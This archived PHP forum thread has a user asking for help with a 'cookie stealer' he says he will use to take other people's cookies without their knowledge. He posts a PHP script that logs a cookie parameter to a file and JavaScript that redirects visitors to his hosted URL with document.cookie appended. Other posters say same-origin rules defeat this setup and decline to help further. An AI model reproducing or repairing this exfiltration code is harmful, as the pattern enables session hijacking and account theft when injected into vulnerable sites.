Jump to content

cookie stealer


Recommended Posts

ok so I have had a problem so far I have this:

 

Receiver:

<?php

$cookie = $HTTP_GET_VARS["cookie"];

$file = fopen('cookielog.txt', 'a');

$ip=$_SERVER['REMOTE_ADDR'];

$date=date("j F, Y, g:i a");

?>

 

and the

Stealer:

<html>

<script>

document.location="http://soccerplayer1316.phpnet.us/Robert/reciever.php?cookie=" + document.cookie;

</script>

<body>

</body>

</html>

 

now what it does is, when you open up the stealer file, it redirects to the receiver and it is supposed to send the log file with the cookie....but nothing happens and I don't see a log fil that is supposed to be in the Robert Directory on the website....any help?

 

Link to comment
https://forums.phpfreaks.com/topic/45486-cookie-stealer/
Share on other sites

ok what I am trying to do is, I got a free webhosting account...and to it I uploaded two files... the cookie stealer and the sender. The cookie sender basically redirects to the cookie stealer which writes the cookies into a txt file that I can view. What this does is, whenever someone goes on the link I give them where the cookies sender is, it will redirect them to the cookie stealer without them knowing it and it will send their cookies to a txt file that i can view and steal all their cookies that are stored on their computer....

 

my codes are

The stealer

<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

 

and

 

the sender

<script>
document.location = 'http://soccerplayer1316.phpnet.us/Robert/stealer.php?cookie=' + document.cookie;
</script>

 

now my problem is, when I go onto the txt file it is empty and displays no cookies. anyone?

Link to comment
https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220883
Share on other sites

What this does is, whenever someone goes on the link I give them where the cookies sender is, it will redirect them to the cookie stealer without them knowing it and it will send their cookies to a txt file

 

No it wont. You can only read cookies created from your own domain. As you aren't creating any cookies, the text file is empty.

Link to comment
https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220889
Share on other sites

o sooooooo if someone else went onto it, it would work...if its not from my domain?

 

What? Javascript's document.cookie method can only read cookies that where created from a page on the same domain (or specified sub-domain) that it is called from.

 

if not then what could I do?

 

Give it up, you cannot do what you are attempting (well, you wont get an answer on this site anyway). It is a security feature.

Link to comment
https://forums.phpfreaks.com/topic/45486-cookie-stealer/#findComment-220896
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.